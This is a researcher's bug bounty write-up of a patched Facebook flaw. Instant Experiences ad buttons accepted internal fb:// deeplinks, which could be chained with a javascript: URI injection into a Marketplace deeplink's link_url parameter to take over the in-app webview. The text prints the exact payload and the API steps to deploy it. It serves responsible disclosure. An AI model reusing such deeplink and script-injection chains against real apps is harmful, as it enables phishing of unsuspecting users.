Crafting Malicious Facebook Ads via Instant Experiences

Everyone who uses Facebook has seen them: slick, fast-loading ads that open up into a full-screen experience without ever leaving the app. These are called "Instant Experiences", a powerful tool for advertisers to create immersive landing pages. But what if that immersive experience could be turned against the user?
I recently discovered a vulnerability in this very feature that allowed an attacker, disguised as an advertiser, to hijack the user's in-app browser, execute arbitrary JavaScript, and perform actions on their behalf. This is the story of how a misconfigured button led to Cross-Site Request Forgery (CSRF) and webview takeover.
A big thank you to the Meta security team for their swift and professional handling of this report.
The Feature: What are Instant Experiences?
Facebook's Instant Experiences (formerly known as Canvas Ads) are a godsend for advertisers. They allow the creation of rich, mobile-optimized landing pages that load almost instantly within the Facebook app. Advertisers can use a drag-and-drop interface or the Graph API to build these "canvases" with components like videos, images, and, most importantly for this story, buttons. You can read more about these here: https://www.facebook.com/business/ads/instant-experiences-ad-destination
The intended use is simple: a user taps an ad, the Instant Experience loads, and they can interact with the content.
A button might lead to the advertiser's website to purchase a product. The key security assumption here is that
these buttons should only link to external, standard web pages (https://...
).
The "What If?" Moment: Finding the Crack
While exploring the Graph API endpoints for creating these canvases, I noticed that the button element had a
parameter called open_url_action
. This field dictates what happens when a user clicks the button.
"open_url_action": {
"type": "OPEN_URL",
"url": "https://example.com"
}
My first thought was, "What kind of URLs does this accept?" The documentation implies standard web links. But what if I tried something else? What if I tried to launch an internal Facebook feature using a deeplink?
Deeplinks are essentially URLs for mobile apps. Instead of https://
, they often start with a custom
scheme like fb://
or even fbinternal://
. These links can command the app to navigate to a
specific profile, open a particular feature, or perform an internal action. Most of these deeplinks are not
"exported", meaning they aren't supposed to be triggerable by external sources.
I crafted a simple API request to create a button, but instead of a standard URL, I supplied a Facebook deeplink:
"url": "fb://some-internal-feature"
To my surprise, the API accepted it without validation. This was the first crack in the armor. An advertiser could create an Instant Experience button that, when clicked, would trigger an internal Facebook function. This is a classic CSRF vulnerability - an attacker can craft a request and have a victim execute it unknowingly.
From CSRF to Code Execution: Chaining Vulnerabilities
Finding a CSRF is great, but the impact depends entirely on what actions you can force the user to perform. I now had the ability to launch potentially thousands of internal Facebook deeplinks. The next step was to find a "gadget" - a particularly powerful deeplink that would escalate the impact.
After some digging, I found a gem:
fb://marketplace_byog_amazon_taskless_link
This internal deeplink appeared to be related to a Marketplace feature. More importantly, it accepted a parameter
called link_url
. This parameter was designed to load a URL inside a specific, restricted webview within
the Facebook app.
The real magic happened when I tested what kind of value the link_url
parameter would accept. What if I
tried to inject a javascript:
URI?
I constructed the final payload:
fb://marketplace_byog_amazon_taskless_link/?link_url=javascript:window.location.href='https://ash-king.co.uk/webview/'
Let's break this down:
fb://...
: This is our initial entry point - the CSRF vulnerability that allows us to launch a private deeplink from an Instant Experience button.marketplace_byog_amazon_taskless_link
: This is our "gadget" - the specific vulnerable deeplink we chose to launch.?link_url=
: This is the parameter within the gadget deeplink that is vulnerable to injection.javascript:window.location.href='...'
: This is our second vulnerability, a script injection. While thelink_url
parameter might have had some restrictions on loading external domains directly, it failed to block thejavascript:
scheme. This allowed me to execute code, and that code's first instruction was to navigate the webview to my own external website, effectively bypassing any domain restrictions.
The chain was complete: CSRF (via Instant Experience button) -> Launch Private Deeplink -> JS Injection
(via link_url
) -> Webview Takeover
The Attack Scenario
An attacker could weaponize this chain with just three API calls, all achievable through Facebook's own Graph API Explorer.
- Create the Malicious Button Element: The attacker makes a
POST
request to/PAGE_ID/canvas_elements
to create a button element containing the malicious deeplink payload. - Create the Canvas: The attacker creates an empty Instant Experience canvas via a
POST
request to/PAGE_ID/canvases
. - Link Them Together: The attacker associates the malicious button with the empty canvas.
The result is a seemingly harmless Instant Experience page with a single button. The attacker could then publish this canvas and attach it to an ad campaign through the Facebook Ad Network, targeting any audience they choose.
When a victim taps the ad and then the button ("Click Me!"), the following happens seamlessly in the background:
- The Facebook app triggers the
fb://marketplace...
deeplink. - The deeplink's handler executes the
javascript:
payload from thelink_url
parameter. - The JavaScript redirects the internal webview to the attacker's site (
ash-king.co.uk/webview/
in my proof-of-concept).
The victim is now viewing the attacker's website, but it's rendered inside the trusted UI of the Facebook app. This is a perfect setup for a highly convincing phishing attack to steal credentials or to deanonymize the user.
Here is the video I sent along with the report to Meta to assist with triage:
The Impact
- CSRF & Unauthorized Actions: The core vulnerability allowed an attacker to force a user's app to perform internal actions without their consent.
- Webview Takeover & Phishing: By chaining it with the JS injection, an attacker could load any website inside Facebook's in-app browser, making phishing attacks incredibly difficult to spot.
- Massive Attack Surface: The initial flaw exposed a huge number of internal deeplinks, each a potential new vector for exploitation.
Resolution & Timeline
I reported this vulnerability to the Meta Bug Bounty Program, and their team was quick to understand the severity of the chained exploit.
- Reported: April 28 2025
- Triaged: May 1 2025
- Bounty Awarded: June 11 2025 (+$X,XXX)
- Fixed: July 17 2025
The fix was logical: If you click a canvas button in an Instant Experience that contains an non-exported deeplink, you will now be redirected back to the home screen. While fb://
deeplinks can still be used in the canvas_elements
POST request, only the exported deeplinks will actually open when the button is tapped within the mobile app.